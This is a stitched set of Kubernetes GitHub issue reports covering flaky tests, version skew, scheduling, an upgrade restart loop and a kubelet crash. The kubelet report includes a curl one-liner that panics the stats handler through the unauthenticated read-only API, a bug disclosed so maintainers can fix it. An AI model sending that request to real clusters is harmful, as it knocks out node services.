https://k8s-gubernator.appspot.com/builds/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-serial is very flaky since 2017-05-12 00:47 pdt took 5h5m due to the test:\r    \r  k8s.io  services should work after restarting kube-proxy  disruptive \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/service.go:387\r expected error:\r     < errors.errorstring | 0xc42030a400>: {\r         s: \ service verification failed for: 10.0.115.80\ expected  service1-28w8q service1-bmp00 service1-d609r \ received   \ ,\r     }\r     service verification failed for: 10.0.115.80\r     expected  service1-28w8q service1-bmp00 service1-d609r \r     received   \r not to have occurred\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/service.go:385\r    \r one example of failed builds is: https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-serial/1063/\r \r the flakiness currently blocks our 1.7 alpha-4 build.\r \r cc/ @kubernetes/kubernetes-release-managers @kubernetes/sig-network-bugs @thockin \r

in the  release1.8 blocking test suite  https://k8s-testgrid.appspot.com/sig-release-1.8-blocking gci-gke-serial-1.8 . \  sig-network  services should work after restarting apiserver  disruptive \  has started failing regularly with the error:\r \r    \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/network/service.go:434\r nov  4 02:53:35.323: error restarting apiserver: error running gcloud  container clusters --project=k8s-gke-upg-c1-4-g1-6-up-clu --zone=us-central1-b upgrade e2e-856 --master --cluster-version=1.8.3-beta.0.88+dc6c4c5dcebb7e --quiet ; got error exit status 1, stdout \ \ , stderr \ upgrading e2e-856...\ .....done.\ error:  gcloud.container.clusters.upgrade  operation  <operation\  endtime: u'2017-11-04t02:53:29.555870594z'\  name: u'operation-1509764009232-95e55dde'\  operationtype: operationtypevaluevaluesenum upgrade_master, 3 \  selflink: u'https://test-container.sandbox.googleapis.com/v1/projects/433788295746/zones/us-central1-b/operations/operation-1509764009232-95e55dde'\  starttime: u'2017-11-04t02:53:29.232057635z'\  status: statusvaluevaluesenum done, 3 \  statusmessage: u'patch failed'\  targetlink: u'https://test-container.sandbox.googleapis.com/v1/projects/433788295746/zones/us-central1-b/clusters/e2e-856'\  zone: u'us-central1-b'>  finished with error: patch failed\ \ \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/network/service.go:414\r    \r \r the first occurance i can find is in build  841  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gke-serial-stable1/841 . but it has been failing more consistently since around build  856  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gke-serial-stable1/856 .

kubectl is currently not backwards compatible.\r \r when i use kubectl v1.9.0 with cluster v1.6.3, i cannot edit deployments.\r \r i get error \ error from server  notfound : the server could not find the requested resource\  similar to  9945.\r \r it's sometimes not so easy to upgrade the cluster  as the client .\r i think either kubectl should work with all older cluster versions with the same major version or if compatibility breaks are needed, then major version should be raised.\r \r  \r   environment  :\r client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.0\ , gitcommit:\ 925c127ec6b946659ad0fd596fa959be43f0cc05\ , gittreestate:\ clean\ , builddate:\ 2017-12-15t21:07:38z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.3\ , gitcommit:\ 0480917b552be33e2dba47386e51decb1a211df6\ , gittreestate:\ clean\ , builddate:\ 2017-05-11t07:11:31z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }

jordan liggitt and i discussed this at length last quarter. \r in short:\r handing the kubelet a directory path and expecting users to put their kubelet configuration in a file with a magic name in that directory is less flexible, less obvious, and less user-friendly than allowing users to just specify a path to an arbitrary file. the kubelet shouldn't care about what name a user wants on the config file, and this is more consistent with other kubelet file-specification apis, such as --kubeconfig.\r \r related: https://github.com/kubernetes/kubernetes/pull/53833 issuecomment-344009912\r \r  57624 implements.

what happened  :\r i create two daemonsets, only one can create the needed pod because of the node's resource is not enough.\r i delete the normal one, but the other one still not create the needed pod.\r \r   what you expected to happen  :\r i hope the other one can quickly create the needed pod.\r \r   how to reproduce it  as minimally and precisely as possible   :\r my enviroment:\r  1 master + 1 node\r  two daemonsets have the same resource required: 700ms cpu  + 700mi memory , but my node can only support one e.g memory is not enough for 2 pods \r \r   anything else we need to know?  : none\r \r   environment  :\r - kubernetes version  use  kubectl version  : \r build by myself:\r client version: version.info{major:\ 1\ , minor:\ 10+\ , gitversion:\ v1.10.0-alpha.1.1355+6477f2b0fdbc0b\ , gitcommit:\ 6477f2b0fdbc0b7e72dccba5b5123e72244e9909\ , gittreestate:\ clean\ , builddate:\ 2018-01-25t03:06:42z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10+\ , gitversion:\ v1.10.0-alpha.1.1355+6477f2b0fdbc0b\ , gitcommit:\ 6477f2b0fdbc0b7e72dccba5b5123e72244e9909\ , gittreestate:\ clean\ , builddate:\ 2018-01-25t02:48:14z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r - cloud provider or hardware configuration: none\r - os  e.g. from /etc/os-release :centos linux release 7.3.1611  core  \r - kernel  e.g.  uname -a  :linux host-10-10-10-53 3.10.0-514.26.2.el7.x86_64  1 smp tue jul 18 11:25:45 cst 2017 x86_64 x86_64 x86_64 gnu/linux\r - install tools: ansible\r - others: none\r

is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r  get /stats/:pod/whatever  requests to the kubelet api seem to panic the   handler.handlepodcontainer   https://github.com/kubernetes/kubernetes/blob/v1.9.3/pkg/kubelet/server/stats/handler.go l249  =>   statsprovider.getcontainerinfo   https://github.com/kubernetes/kubernetes/blob/v1.9.3/pkg/kubelet/stats/stats_provider.go l139 , presumably the  runtimecache  is  nil ?\r \r    \r i0314 09:37:32.292894    1838 logs.go:41  http: panic serving  ::1 :59092: runtime error: invalid memory address or nil pointer dereference\r goroutine 572105  running :\r net/http.  conn .serve.func1 0xc4222ea6e0 \r \t/usr/local/go/src/net/http/server.go:1697 +0xd0\r panic 0x3179200, 0x5721c20 \r \t/usr/local/go/src/runtime/panic.go:491 +0x283\r k8s.io/kubernetes/pkg/kubelet/stats.  statsprovider .getcontainerinfo 0xc420cbe580, 0xc422396e60, 0x1f, 0x0, 0x0, 0xc4221600e3, 0x8, 0xc421150200, 0x0, 0x0, ... \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/stats/stats_provider.go:139 +0x93\r k8s.io/kubernetes/pkg/kubelet/server/stats.  handler .handlepodcontainer 0xc420d922a0, 0xc421c12c90, 0xc4210fba40 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/server/stats/handler.go:249 +0x6b9\r k8s.io/kubernetes/pkg/kubelet/server/stats.  handler . k8s.io/kubernetes/pkg/kubelet/server/stats.handlepodcontainer -fm 0xc421c12c90, 0xc4210fba40 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/server/stats/handler.go:102 +0x3e\r k8s.io/kubernetes/vendor/github.com/emicklei/go-restful.  container .dispatch 0xc4209c8240, 0x576a940, 0xc42042c690, 0xc420b7c600 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/emicklei/go-restful/container.go:277 +0xb18\r k8s.io/kubernetes/vendor/github.com/emicklei/go-restful.  container . k8s.io/kubernetes/vendor/github.com/emicklei/go-restful.dispatch -fm 0x576a940, 0xc42042c690, 0xc420b7c600 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/emicklei/go-restful/container.go:120 +0x48\r net/http.handlerfunc.servehttp 0xc4204e0e70, 0x576a940, 0xc42042c690, 0xc420b7c600 \r \t/usr/local/go/src/net/http/server.go:1918 +0x44\r net/http.  servemux .servehttp 0xc420b44330, 0x576a940, 0xc42042c690, 0xc420b7c600 \r \t/usr/local/go/src/net/http/server.go:2254 +0x130\r k8s.io/kubernetes/vendor/github.com/emicklei/go-restful.  container .servehttp 0xc4209c8240, 0x576a940, 0xc42042c690, 0xc420b7c600 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/emicklei/go-restful/container.go:292 +0x4d\r k8s.io/kubernetes/pkg/kubelet/server.  server .servehttp 0xc420276a00, 0x576a940, 0xc42042c690, 0xc420b7c600 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/server/server.go:795 +0x106\r net/http.serverhandler.servehttp 0xc420bd0000, 0x576b580, 0xc4202741c0, 0xc420b7c600 \r \t/usr/local/go/src/net/http/server.go:2619 +0xb4\r net/http.  conn .serve 0xc4222ea6e0, 0x576da00, 0xc421150000 \r \t/usr/local/go/src/net/http/server.go:1801 +0x71d\r created by net/http.  server .serve\r \t/usr/local/go/src/net/http/server.go:2720 +0x288\r    \r \r   what you expected to happen  :\r \r get some json response or a 404 error for an unknown container.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r the  :pod  must exist, but the  :container  can be whatever. oneliner repro case, assuming the node has some pod running in the default namespace:\r \r    \r $ curl -v http://localhost:10255/stats/$ curl -s http://localhost:10255/pods | jq -r 'first .items   | select .metadata.namespace == \ default\   .metadata.name' /whatever\r     trying ::1...\r   connected to localhost  ::1  port 10255   0 \r > get /stats/whoami-66ffd9d657-gvz95/whatever http/1.1\r > host: localhost:10255\r > user-agent: curl/7.47.0\r > accept:  / \r > \r   empty reply from server\r   connection  0 to host localhost left intact\r curl:  52  empty reply from server\r    \r \r the panic trace is visible in  journalctl -u kubelet .\r \r   anything else we need to know?  :\r \r this panic can be triggered as an unauthenticated request via the readonly kubelet api.\r \r   environment  :\r - kubernetes version   kubelet --version  :  kubernetes v1.9.3  \r - cloud provider or hardware configuration: packet.net\r - os  e.g. from /etc/os-release : ubuntu 16.04.3\r - kernel  e.g.  uname -a  :  4.4.0-112-generic \r - install tools:  kubeadm \r - others:

<!-- please only use this template for submitting enhancement requests -->\r \r   what would you like to be added  :\r in pkg/scheduler/core/generic_scheduler  prioritizenodes  , add some debug info: each scheduler extender's score and its name for each pod, e.g.\r    \r --- a/pkg/scheduler/core/generic_scheduler.go\r +++ b/pkg/scheduler/core/generic_scheduler.go\r @@ -730,6 +730,9 @@ func prioritizenodes \r                                 mu.lock  \r                                 for i := range  prioritizedlist {\r                                         host, score :=   prioritizedlist  i .host,   prioritizedlist  i .score\r +                                       if glog.v 10  {\r +                                               glog.infof \ %v -> %v: %v, score:  %d \ , pod.name, host, ext.name  , score \r +                                       }\r                                         combinedscores host  += score   weight\r                                 }\r                                 mu.unlock  \r \r    \r \r and we need add a function e.g.  name     in interface  schedulerextender  to get extender's name or similar identity. for  httpextender , it might be enough to return its url  extenderurl .\r \r   why is this needed  :\r if there are two or more scheduler extenders configured for scheduler and we have now , it will be very useful to debug why kubelet nodes get so high/low score.\r \r <!-- do not edit below this line -->\r  \r \r

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  :\r upgrade kubernetes from v1.11.3 to v.12.3 causes containers to restart continuously.\r \r   what you expected to happen  :\r upgrade kubernetes from v1.11.3 to v.12.3 successfully.\r \r   how to reproduce it  as minimally and precisely as possible   :\r upgrade kubernetes from v1.11.3 to v.12.3.\r \r   anything else we need to know?  :\r \r i1222 15:12:14.538192  197768 kuberuntime_container.go:887  update pause id to 291ec4e9320f0460e703e405ea459e47525df9762d7fb74b2c53b5f42d4a3c6e of container d6b39588cb0b4e38f46cf0c135e52e7862f9af2d47d30662ae9550ec7e0c0316 for pod redis-k6p6z_default 0bbb8d6b-05a8-11e9-8012-0022b2fb1eda \r i1222 15:12:14.538819  197768 kuberuntime_container.go:893  start exited container d6b39588cb0b4e38f46cf0c135e52e7862f9af2d47d30662ae9550ec7e0c0316 for pod redis-k6p6z_default 0bbb8d6b-05a8-11e9-8012-0022b2fb1eda \r i1222 15:12:14.549372  197768 secret.go:182  setting up volume default-token-2ccdr for pod 0bbb8d6b-05a8-11e9-8012-0022b2fb1eda at /var/lib/kubelet/pods/0bbb8d6b-05a8-11e9-8012-0022b2fb1eda/volumes/kubernetes.io secret/default-token-2ccdr\r i1222 15:12:14.549431  197768 secret.go:206  received secret default/default-token-2ccdr containing  3  pieces of data, 1948 total bytes\r i1222 15:12:19.939984  197768 setters.go:803  update image disk to 972\r i1222 15:12:19.954819  197768 setters.go:810  update test-cluster disk to 1024\r i1222 15:12:21.359371  197768 eviction_manager.go:226  eviction manager: synchronize housekeeping\r w1222 15:12:21.437428  197768 conversion.go:110  could not get instant cpu stats: cumulative stats decrease\r i1222 15:12:21.440392  197768 helpers.go:836  eviction manager: observations: signal=nodefs.available, available: 65338980ki, capacity: 104841732ki, time: 2018-12-22 15:12:21.360524069 +0800 cst m=+6910.379936037\r i1222 15:12:21.440416  197768 helpers.go:836  eviction manager: observations: signal=nodefs.inodesfree, available: 103631774, capacity: 104854528, time: 2018-12-22 15:12:21.360524069 +0800 cst m=+6910.379936037\r i1222 15:12:21.440424  197768 helpers.go:836  eviction manager: observations: signal=imagefs.available, available: 938628608ki, capacity: 996140mi, time: 2018-12-22 15:12:21.360524069 +0800 cst m=+6910.379936037\r i1222 15:12:21.440430  197768 helpers.go:836  eviction manager: observations: signal=pid.available, available: 326140, capacity: 320ki, time: 2018-12-22 15:12:21.439787982 +0800 cst m=+6910.459199938\r i1222 15:12:21.440438  197768 helpers.go:836  eviction manager: observations: signal=memory.available, available: 127781348ki, capacity: 131453720ki, time: 2018-12-22 15:12:21.360524069 +0800 cst m=+6910.379936037\r i1222 15:12:21.440444  197768 helpers.go:836  eviction manager: observations: signal=allocatablememory.available, available: 120959560ki, capacity: 120967960ki, time: 2018-12-22 15:12:21.44031551 +0800 cst m=+6910.459727491\r i1222 15:12:21.440471  197768 eviction_manager.go:317  eviction manager: no resources are starved\r i1222 15:12:30.031825  197768 setters.go:803  update image disk to 972\r i1222 15:12:30.045953  197768 setters.go:810  update test-cluster disk to 1024\r i1222 15:12:31.440631  197768 eviction_manager.go:226  eviction manager: synchronize housekeeping\r i1222 15:12:31.509827  197768 helpers.go:836  eviction manager: observations: signal=nodefs.inodesfree, available: 103631774, capacity: 104854528, time: 2018-12-22 15:12:31.441748963 +0800 cst m=+6920.461160991\r i1222 15:12:31.509848  197768 helpers.go:836  eviction manager: observations: signal=imagefs.available, available: 938628608ki, capacity: 996140mi, time: 2018-12-22 15:12:31.441748963 +0800 cst m=+6920.461160991\r i1222 15:12:31.509856  197768 helpers.go:836  eviction manager: observations: signal=pid.available, available: 326140, capacity: 320ki, time: 2018-12-22 15:12:31.509236486 +0800 cst m=+6920.528648434\r i1222 15:12:31.509861  197768 helpers.go:836  eviction manager: observations: signal=memory.available, available: 127781376ki, capacity: 131453720ki, time: 2018-12-22 15:12:31.441748963 +0800 cst m=+6920.461160991\r i1222 15:12:31.509866  197768 helpers.go:836  eviction manager: observations: signal=allocatablememory.available, available: 120959560ki, capacity: 120967960ki, time: 2018-12-22 15:12:31.509770428 +0800 cst m=+6920.529182420\r i1222 15:12:31.509871  197768 helpers.go:836  eviction manager: observations: signal=nodefs.available, available: 65338980ki, capacity: 104841732ki, time: 2018-12-22 15:12:31.441748963 +0800 cst m=+6920.461160991\r i1222 15:12:31.509894  197768 eviction_manager.go:317  eviction manager: no resources are starved\r i1222 15:12:40.164200  197768 setters.go:803  update image disk to 972\r i1222 15:12:40.175425  197768 setters.go:810  update test-cluster disk to 1024\r i1222 15:12:41.510077  197768 eviction_manager.go:226  eviction manager: synchronize housekeeping\r i1222 15:12:41.592297  197768 helpers.go:836  eviction manager: observations: signal=memory.available, available: 127781200ki, capacity: 131453720ki, time: 2018-12-22 15:12:41.511325515 +0800 cst m=+6930.530737539\r i1222 15:12:41.592330  197768 helpers.go:836  eviction manager: observations: signal=allocatablememory.available, available: 120959664ki, capacity: 120967960ki, time: 2018-12-22 15:12:41.592217114 +0800 cst m=+6930.611629061\r i1222 15:12:41.592337  197768 helpers.go:836  eviction manager: observations: signal=nodefs.available, available: 65339040ki, capacity: 104841732ki, time: 2018-12-22 15:12:41.511325515 +0800 cst m=+6930.530737539\r i1222 15:12:41.592343  197768 helpers.go:836  eviction manager: observations: signal=nodefs.inodesfree, available: 103631774, capacity: 104854528, time: 2018-12-22 15:12:41.511325515 +0800 cst m=+6930.530737539\r i1222 15:12:41.592349  197768 helpers.go:836  eviction manager: observations: signal=imagefs.available, available: 938628608ki, capacity: 996140mi, time: 2018-12-22 15:12:41.511325515 +0800 cst m=+6930.530737539\r i1222 15:12:41.592355  197768 helpers.go:836  eviction manager: observations: signal=pid.available, available: 326140, capacity: 320ki, time: 2018-12-22 15:12:41.591449367 +0800 cst m=+6930.610861319\r i1222 15:12:41.592377  197768 eviction_manager.go:317  eviction manager: no resources are starved\r i1222 15:12:50.293269  197768 setters.go:803  update image disk to 972\r i1222 15:12:50.304977  197768 setters.go:810  update test-cluster disk to 1024\r i1222 15:12:51.592583  197768 eviction_manager.go:226  eviction manager: synchronize housekeeping\r i1222 15:12:51.662632  197768 helpers.go:836  eviction manager: observations: signal=memory.available, available: 127778408ki, capacity: 131453720ki, time: 2018-12-22 15:12:51.59387317 +0800 cst m=+6940.613285106\r i1222 15:12:51.662667  197768 helpers.go:836  eviction manager: observations: signal=allocatablememory.available, available: 120960064ki, capacity: 120967960ki, time: 2018-12-22 15:12:51.662565942 +0800 cst m=+6940.681978056\r i1222 15:12:51.662674  197768 helpers.go:836  eviction manager: observations: signal=nodefs.available, available: 65339040ki, capacity: 104841732ki, time: 2018-12-22 15:12:51.59387317 +0800 cst m=+6940.613285106\r i1222 15:12:51.662696  197768 helpers.go:836  eviction manager: observations: signal=nodefs.inodesfree, available: 103631774, capacity: 104854528, time: 2018-12-22 15:12:51.59387317 +0800 cst m=+6940.613285106\r i1222 15:12:51.662702  197768 helpers.go:836  eviction manager: observations: signal=imagefs.available, available: 938628608ki, capacity: 996140mi, time: 2018-12-22 15:12:51.59387317 +0800 cst m=+6940.613285106\r i1222 15:12:51.662707  197768 helpers.go:836  eviction manager: observations: signal=pid.available, available: 326140, capacity: 320ki, time: 2018-12-22 15:12:51.662038613 +0800 cst m=+6940.681450560\r i1222 15:12:51.662730  197768 eviction_manager.go:317  eviction manager: no resources are starved\r i1222 15:13:00.375986  197768 setters.go:803  update image disk to 972\r i1222 15:13:00.385920  197768 setters.go:810  update test-cluster disk to 1024\r i1222 15:13:01.662899  197768 eviction_manager.go:226  eviction manager: synchronize housekeeping\r i1222 15:13:01.732555  197768 helpers.go:836  eviction manager: observations: signal=nodefs.available, available: 65339040ki, capacity: 104841732ki, time: 2018-12-22 15:13:01.664006156 +0800 cst m=+6950.683418147\r i1222 15:13:01.732579  197768 helpers.go:836  eviction manager: observations: signal=nodefs.inodesfree, available: 103631774, capacity: 104854528, time: 2018-12-22 15:13:01.664006156 +0800 cst m=+6950.683418147\r i1222 15:13:01.732587  197768 helpers.go:836  eviction manager: observations: signal=imagefs.available, available: 938628608ki, capacity: 996140mi, time: 2018-12-22 15:13:01.664006156 +0800 cst m=+6950.683418147\r i1222 15:13:01.732592  197768 helpers.go:836  eviction manager: observations: signal=pid.available, available: 326140, capacity: 320ki, time: 2018-12-22 15:13:01.731921755 +0800 cst m=+6950.751333690\r i1222 15:13:01.732598  197768 helpers.go:836  eviction manager: observations: signal=memory.available, available: 127778172ki, capacity: 131453720ki, time: 2018-12-22 15:13:01.664006156 +0800 cst m=+6950.683418147\r i1222 15:13:01.732603  197768 helpers.go:836  eviction manager: observations: signal=allocatablememory.available, available: 120960280ki, capacity: 120967960ki, time: 2018-12-22 15:13:01.732451214 +0800 cst m=+6950.751863193\r i1222 15:13:01.732627  197768 eviction_manager.go:317  eviction manager: no resources are starved\r i1222 15:13:10.484452  197768 setters.go:803  update image disk to 972\r i1222 15:13:10.496762  197768 setters.go:810  update test-cluster disk to 1024\r i1222 15:13:11.732724  197768 eviction_manager.go:226  eviction manager: synchronize housekeeping\r i1222 15:13:11.810767  197768 helpers.go:836  eviction manager: observations: signal=memory.available, available: 127778812ki, capacity: 131453720ki, time: 2018-12-22 15:13:11.733727057 +0800 cst m=+6960.753139014\r i1222 15:13:11.810800  197768 helpers.go:836  eviction manager: observations: signal=allocatablememory.available, available: 120960276ki, capacity: 120967960ki, time: 2018-12-22 15:13:11.810677586 +0800 cst m=+6960.830089588\r i1222 15:13:11.810806  197768 helpers.go:836  eviction manager: observations: signal=nodefs.available, available: 65339040ki, capacity: 104841732ki, time: 2018-12-22 15:13:11.733727057 +0800 cst m=+6960.753139014\r i1222 15:13:11.810812  197768 helpers.go:836  eviction manager: observations: signal=nodefs.inodesfree, available: 103631774, capacity: 104854528, time: 2018-12-22 15:13:11.733727057 +0800 cst m=+6960.753139014\r i1222 15:13:11.810818  197768 helpers.go:836  eviction manager: observations: signal=imagefs.available, available: 938628608ki, capacity: 996140mi, time: 2018-12-22 15:13:11.733727057 +0800 cst m=+6960.753139014\r i1222 15:13:11.810824  197768 helpers.go:836  eviction manager: observations: signal=pid.available, available: 326140, capacity: 320ki, time: 2018-12-22 15:13:11.810162455 +0800 cst m=+6960.829574420\r i1222 15:13:11.810851  197768 eviction_manager.go:317  eviction manager: no resources are starved\r i1222 15:13:16.373261  197768 kubelet_pods.go:1327  generating status for \ redis-k6p6z_default 0bbb8d6b-05a8-11e9-8012-0022b2fb1eda \ \r i1222 15:13:16.373364  197768 status_manager.go:364  ignoring same status for pod \ redis-k6p6z_default 0bbb8d6b-05a8-11e9-8012-0022b2fb1eda \ , status: {phase:running conditions: {type:initialized status:true lastprobetime:0001-01-01 00:00:00 +0000 utc lasttransitiontime:2018-12-22 13:11:32 +0800 cst reason: message:} {type:ready status:true lastprobetime:0001-01-01 00:00:00 +0000 utc lasttransitiontime:2018-12-22 13:11:35 +0800 cst reason: message:} {type:containersready status:true lastprobetime:0001-01-01 00:00:00 +0000 utc lasttransitiontime:0001-01-01 00:00:00 +0000 utc reason: message:} {type:podscheduled status:true lastprobetime:0001-01-01 00:00:00 +0000 utc lasttransitiontime:2018-12-22 13:11:32 +0800 cst reason: message:}  message: reason: nominatednodename: hostip:10.21.32.4 podip:10.24.75.204 starttime:2018-12-22 13:11:32 +0800 cst initcontainerstatuses:   containerstatuses: {name:redis state:{waiting:nil running:&containerstaterunning{startedat:2018-12-22 14:36:42 +0800 cst,} terminated:nil} lastterminationstate:{waiting:nil running:nil terminated:nil} ready:true restartcount:0 image:registry.test.com/tools/redis:latest imageid:docker-pullable://registry.test.com/tools/redis@sha256:1bce822ce3c234b07c4036ead05c464e7972a565b63779c37d0efd25b69d188a containerid:docker://d6b39588cb0b4e38f46cf0c135e52e7862f9af2d47d30662ae9550ec7e0c0316}  qosclass:burstable}\r i1222 15:13:16.373534  197768 volume_manager.go:350  waiting for volumes to attach and mount for pod \ redis-k6p6z_default 0bbb8d6b-05a8-11e9-8012-0022b2fb1eda \ \r i1222 15:13:16.373547  197768 volume_manager.go:383  all volumes are attached and mounted for pod \ redis-k6p6z_default 0bbb8d6b-05a8-11e9-8012-0022b2fb1eda \ \r i1222 15:13:16.373555  197768 kuberuntime_manager.go:437  container status &{id:{type:docker id:d6b39588cb0b4e38f46cf0c135e52e7862f9af2d47d30662ae9550ec7e0c0316} name:redis state:running createdat:2018-12-22 13:11:33.955691733 +0800 cst startedat:2018-12-22 14:36:42.845466943 +0800 cst finishedat:0001-01-01 00:00:00 +0000 utc exitcode:0 image:registry.test.com/tools/redis:latest imageid:docker-pullable://registry.test.com/tools/redis@sha256:1bce822ce3c234b07c4036ead05c464e7972a565b63779c37d0efd25b69d188a hash:1795437233 restartcount:0 reason: message:} and container &container{name:redis,image:registry.test.com/tools/redis:latest,command:  ,args:  ,workingdir:,ports:  ,env: {test-cluster_k8s_workload_name aa nil} ,resources:resourcerequirements{limits:resourcelist{cpu: {{4 0} {<nil>} 4 decimalsi},memory: {{1073741824 0} {<nil>} 1gi binarysi},},requests:resourcelist{cpu: {{400 -3} {<nil>} 400m decimalsi},memory: {{1073741824 0} {<nil>} 1gi binarysi},pod.alpha.kubernetes.io/opaque-int-resource-test-cluster_disk: {{10 0} {<nil>} 10 decimalsi},pod.alpha.kubernetes.io/opaque-int-resource-image_disk: {{10 0} {<nil>} 10 decimalsi},},},volumemounts: {test-clusterlvm false /docker  <nil>} {default-token-2ccdr true /var/run/secrets/kubernetes.io/serviceaccount  <nil>} ,livenessprobe:nil,readinessprobe:nil,lifecycle:nil,terminationmessagepath:/dev/termination-log,imagepullpolicy:always,securitycontext:&securitycontext{capabilities:&capabilities{add: sys_admin sys_ptrace ,drop:  ,},privileged: false,selinuxoptions:nil,runasuser:nil,runasnonroot:nil,readonlyrootfilesystem:nil,allowprivilegeescalation:nil,runasgroup:nil,procmount: default,},stdin:false,stdinonce:false,tty:false,envfrom:  ,terminationmessagepolicy:file,volumedevices:  ,}\r i1222 15:13:16.373759  197768 kuberuntime_manager.go:564  container \ redis\   {\ docker\  \ d6b39588cb0b4e38f46cf0c135e52e7862f9af2d47d30662ae9550ec7e0c0316\ }  of pod redis-k6p6z_default 0bbb8d6b-05a8-11e9-8012-0022b2fb1eda : container spec hash changed  1795437233 vs 2346900602 .. container will be killed and recreated.\r i1222 15:13:16.373767  197768 kuberuntime_manager.go:585  computepodactions got {killpod:false createsandbox:false sandboxid:291ec4e9320f0460e703e405ea459e47525df9762d7fb74b2c53b5f42d4a3c6e attempt:0 nextinitcontainertostart:nil containerstostart: 0  containerstokill:map {type:docker id:d6b39588cb0b4e38f46cf0c135e52e7862f9af2d47d30662ae9550ec7e0c0316}:{container:0xc420b57400 name:redis message:container spec hash changed  1795437233 vs 2346900602 .. container will be killed and recreated.} } for pod \ redis-k6p6z_default 0bbb8d6b-05a8-11e9-8012-0022b2fb1eda \ \r i1222 15:13:16.373787  197768 kuberuntime_manager.go:619  killing unwanted container \ redis\  id={\ docker\  \ d6b39588cb0b4e38f46cf0c135e52e7862f9af2d47d30662ae9550ec7e0c0316\ }  for pod \ redis-k6p6z_default 0bbb8d6b-05a8-11e9-8012-0022b2fb1eda \ \r i1222 15:13:16.373796  197768 kuberuntime_container.go:559  killing container \ docker://d6b39588cb0b4e38f46cf0c135e52e7862f9af2d47d30662ae9550ec7e0c0316\  with 30 second grace period\r w1222 15:13:16.447863  197768 plugin-defaults.go:32  flexvolume driver test-cluster/lvm: using default getvolumename for volume test-clusterlvm\r i1222 15:13:16.447970  197768 secret.go:182  setting up volume default-token-2ccdr for pod 0bbb8d6b-05a8-11e9-8012-0022b2fb1eda at /var/lib/kubelet/pods/0bbb8d6b-05a8-11e9-8012-0022b2fb1eda/volumes/kubernetes.io~secret/default-token-2ccdr\r i1222 15:13:16.447988  197768 secret.go:206  received secret default/default-token-2ccdr containing  3  pieces of data, 1948 total bytes\r i1222 15:13:16.505560  197768 kuberuntime_container.go:583  container \ docker://d6b39588cb0b4e38f46cf0c135e52e7862f9af2d47d30662ae9550ec7e0c0316\  exited normally\r i1222 15:13:16.505668  197768 server.go:460  event v1.objectreference{kind:\ pod\ , namespace:\ default\ , name:\ redis-k6p6z\ , uid:\ 0bbb8d6b-05a8-11e9-8012-0022b2fb1eda\ , apiversion:\ v1\ , resourceversion:\ 832313\ , fieldpath:\ spec.containers{redis}\ } : type: 'normal' reason: 'killing' killing container with id docker://redis:container spec hash changed  1795437233 vs 2346900602 .. container will be killed and recreated.\r i1222 15:13:16.505736  197768 server.go:460  event v1.objectreference{kind:\ node\ , namespace:\ \ , name:\ gh-test-cluster-k8s-ep02.gh.test.com\ , uid:\ gh-test-cluster-k8s-ep02.gh.test.com\ , apiversion:\ \ , resourceversion:\ \ , fieldpath:\ \ } : type: 'warning' reason: 'missingclusterdns' kubelet does not have clusterdns ip configured and cannot create pod using \ clusterfirst\  policy. falling back to \ default\  policy.\r i1222 15:13:16.505753  197768 server.go:460  event v1.objectreference{kind:\ pod\ , namespace:\ default\ , name:\ redis-k6p6z\ , uid:\ 0bbb8d6b-05a8-11e9-8012-0022b2fb1eda\ , apiversion:\ v1\ , resourceversion:\ 832313\ , fieldpath:\ \ } : type: 'warning' reason: 'missingclusterdns' pod: \ redis-k6p6z_default 0bbb8d6b-05a8-11e9-8012-0022b2fb1eda \ . kubelet does not have clusterdns ip configured and cannot create pod using \ clusterfirst\  policy. falling back to \ default\  policy.\r \r   environment  :\r kubernetes master v.12.3\r kubernetes kubelet v.12.3\r docker verison\r client:\r  version:         1.13.1\r  api version:     1.26\r \r \r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

what happened:\r currently starting kubectl failing on azure stack.\r what you expected to happen:\r kubectl should start on azure stack environment.\r \r how to reproduce it  as minimally and precisely as possible :\r try to deploy kubernets on azure stack environment..\r \r anything else we need to know?:\r environment:\r kubernetes version  use kubectl version : master\r cloud provider or hardware configuration:\r os  e.g: cat /etc/os-release :\r kernel  e.g. uname -a :\r install tools:\r others:\r  /assign\r

